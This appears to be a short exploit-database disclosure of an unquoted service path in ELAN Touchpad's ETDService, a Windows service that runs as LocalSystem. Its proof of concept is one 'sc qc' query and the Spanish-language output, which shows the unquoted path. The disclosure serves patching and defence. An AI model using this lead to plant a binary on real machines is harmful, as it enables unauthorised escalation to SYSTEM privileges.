25 lines
No EOL
844 B
Text
25 lines
No EOL
844 B
Text
# Exploit Title: ELAN Touchpad 15.2.13.1_X64_WHQL - 'ETDService' Unquoted Service Path
|
|
# Exploit Author : SamAlucard
|
|
# Exploit Date: 2021-03-22
|
|
# Vendor : ELAN Microelectronics
|
|
# Version : ELAN Touchpad 15.2.13.1_X64_WHQL
|
|
# Vendor Homepage : http://www.emc.com.tw/
|
|
# Tested on OS: Windows 8
|
|
|
|
#This software installs EDTService.exe, version 11.10.2.1
|
|
|
|
#Analyze PoC :
|
|
==============
|
|
C:\>sc qc ETDService
|
|
[SC] QueryServiceConfig CORRECTO
|
|
|
|
NOMBRE_SERVICIO: ETDService
|
|
TIPO : 10 WIN32_OWN_PROCESS
|
|
TIPO_INICIO : 2 AUTO_START
|
|
CONTROL_ERROR : 1 NORMAL
|
|
NOMBRE_RUTA_BINARIO: C:\Program Files\Elantech\ETDService.exe
|
|
GRUPO_ORDEN_CARGA :
|
|
ETIQUETA : 0
|
|
NOMBRE_MOSTRAR : Elan Service
|
|
DEPENDENCIAS :
|
|
NOMBRE_INICIO_SERVICIO: LocalSystem |